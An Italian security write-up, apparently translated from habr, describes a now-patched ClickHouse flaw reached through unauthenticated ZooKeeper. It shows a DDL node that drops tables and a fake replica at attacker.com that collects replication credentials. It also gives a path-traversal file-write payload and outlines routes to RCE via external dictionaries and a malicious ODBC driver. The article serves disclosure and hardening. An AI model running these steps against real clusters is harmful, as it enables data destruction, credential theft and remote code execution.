
In questo articolo verrà raccontata la storia di una vulnerabilità piuttosto significativa nel protocollo di replicazione di ClickHouse, e verrà mostrato come ampliare la superficie di attacco.
ClickHouse è un database progettato per la gestione di grandi volumi di dati e di solito viene utilizzato con più di una replica. La clustering e la replicazione in ClickHouse si basano su (ZK) e richiedono diritti di scrittura.
L'installazione predefinita di ZK non richiede autenticazione, quindi migliaia di server ZK utilizzati per configurare Kafka, Hadoop, ClickHouse sono accessibili pubblicamente.
Per ridurre la superficie di attacco, è sempre consigliabile configurare autenticazione e autorizzazione durante l'installazione di ZooKeeper.
Ci sono ovviamente alcune vulnerabilità 0day basate sulla deserializzazione Java, ma immagina che un attaccante possa leggere e scrivere in ZooKeeper utilizzato per la replicazione di ClickHouse.
Quando si configura ClickHouse in modalità cluster, supporta query distribuite , che passano attraverso ZK — per queste vengono creati nodi nella lista. /clickhouse/task_queue/ddl.
Per esempio, crei un nodo /clickhouse/task_queue/ddl/query-0001 con contenuto:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']e dopo che i server del cluster host1 e host2 eseguiranno questa query, la tabella test verrà eliminata. DDL supporta anche l'esecuzione di query CREATE/ALTER/DROP.
Suona spaventoso? Ma dove può un attaccante ottenere gli indirizzi dei server?
opera a livello di singole tabelle, quindi quando si crea una tabella in ZK viene specificato il server responsabile dello scambio di metadati con le repliche. Per esempio, eseguendo la query (ZK deve essere configurato, chXX — nome della replica, foobar — nome della tabella):
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;verranno creati nodi colonne e metadata.
Contenuto /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: httpÈ possibile estrarre dati da questo cluster? Sì, se la porta di replicazione (TCP/9009) sul server chXX-address non è chiusa da un firewall e non è configurata autenticazione per la replicazione. Come può superare l'autenticazione?
L'attaccante può creare una nuova replica in ZK semplicemente copiando il contenuto da /clickhouse/tables/01-01/foobar/replicas/chXX e cambiando il valore host.
Contenuto /clickhouse/tables/01–01/foobar/replicas/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: httpSuccessivamente, deve informare le altre repliche che c'è un nuovo blocco di dati sul server dell'attaccante che devono prelevare — viene creato un nodo in ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX è un contatore monotonicamente crescente, che deve essere maggiore dell'ultimo nel registro eventi):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2dove source_replica — nome della replica dell'attaccante, creata nel passaggio precedente, block_id — identificatore del blocco di dati, get — comando "get block" (e ).
Successivamente, ogni replica legge il nuovo evento nel registro e si dirige verso il server controllato dall'attaccante per ricevere il blocco di dati (il protocollo di replicazione è binario, funziona sopra HTTP). Il server attacker.com riceverà richieste:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXXdove XXX rappresenta le credenziali di autenticazione per la replicazione. In alcuni casi, questo potrebbe essere un account con accesso al database tramite il protocollo principale di ClickHouse e protocollo HTTP. Come puoi vedere, la superficie di attacco diventa critticamente ampia, poiché ZooKeeper, utilizzato per la replicazione, è rimasto senza autenticazione configurata.
Diamo un'occhiata alla funzione di ricezione del blocco di dati dalla replica, scritta con piena certezza che tutte le repliche siano sotto controllo corretto e che esista fiducia tra di esse.

codice di gestione della replicazione
La funzione legge l'elenco dei file, poi i loro nomi, dimensioni, contenuti, e successivamente li scrive nel file system. Vale la pena descrivere separatamente come i dati sono conservati nel file system.
Esistono diverse sottocartelle in /var/lib/clickhouse (la cartella di archiviazione predefinita dal file di configurazione):
flags — cartella per la scrittura , utilizzata per il ripristino dopo perdita di dati;
tmp — cartella per file temporanei;
user_files — le operazioni sui file nelle query sono limitate a questa cartella (INTO OUTFILE e altre);
metadata — file SQL con le descrizioni delle tabelle;
preprocessed_configs — file di configurazione derivati elaborati da /etc/clickhouse-server;
data — la cartella contenente i dati stessi; in questo caso viene creata una sottocartella separata qui per ciascun database (per esempio, /var/lib/clickhouse/data/default).
Per ogni tabella viene creata una sottocartella nella cartella del database. Ogni colonna è un file separato a seconda di Ad esempio, per la tabella foobar, creata dall'attaccante, verranno creati i seguenti file:
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2La replica si aspetta di ricevere file con nomi identici durante l'elaborazione del blocco di dati e non li verifica in alcun modo.
Il lettore attento avrà probabilmente già sentito parlare della concatenazione insicura di file_name nella funzione. WriteBufferFromFile. Sì, questo consente all'attaccante di scrivere contenuti arbitrari in qualsiasi file nel filesystem con i diritti dell'utente. clickhouse. Per questo, la replica controllata dall'attaccante deve restituire la seguente risposta alla richiesta (per facilitare la comprensione, sono stati aggiunti i ritorni a capo):
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeepere dopo la concatenazione ../../../../../../../../../tmp/pwned verrà scritto il file /tmp/pwned con il contenuto hellofromzookeeper.
Ci sono diversi modi per trasformare la possibilità di scrittura di file in un'esecuzione remota di codice (RCE).
Dizionari esterni in RCE
Nelle versioni precedenti, la cartella delle impostazioni di ClickHouse era conservata con i diritti dell'utente clickhouse per impostazione predefinita. I file di impostazione sono file XML letti dal servizio all'avvio e poi memorizzati nella cache in /var/lib/clickhouse/preprocessed_configs. In caso di modifiche vengono letti di nuovo. Avere accesso a /etc/clickhouse-server l'attaccante può creare il proprio di tipo eseguibile e quindi eseguire codice arbitrario. Le versioni attuali di ClickHouse non forniscono diritti per impostazione predefinita, ma se il server è stato aggiornato gradualmente, tali diritti potrebbero essere rimasti. Se gestisci un cluster ClickHouse, controlla i diritti sulla cartella delle impostazioni, dovrebbe appartenere all'utente root.
ODBC in RCE
Durante l'installazione del pacchetto viene creato un utente clickhouse, ma non viene creata la sua cartella home /nonexistent. Tuttavia, nell'uso di dizionari esterni, o per altri motivi, gli amministratori creano una cartella /nonexistent e danno all'utente clickhouse diritti di scrittura in essa (ATTENZIONE! nota del traduttore).
ClickHouse supporta e può connettersi ad altri database. In ODBC puoi specificare il percorso alla libreria con il driver del database (.so). Le versioni precedenti di ClickHouse consentivano di eseguire questo direttamente nel gestore delle richieste, ma ora è stata aggiunta una verifica più rigorosa della stringa di connessione in odbc-bridge, quindi ora non è possibile specificare il percorso al driver dalla richiesta. Ma l'attaccante può scrivere nella cartella home, usando la vulnerabilità descritta sopra?
Creiamo un file ~/.odbc.ini con il seguente contenuto:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.sopoi all'esecuzione SELECT * FROM odbc('DSN=lalala', 'test', 'test'); verrà caricata la libreria test.so e si otterrà RCE (grazie per l'indicazione).
Queste e altre vulnerabilità sono state corrette nella versione ClickHouse 19.14.3. Proteggi i tuoi ClickHouse e ZooKeepers!
Fonte: habr.com
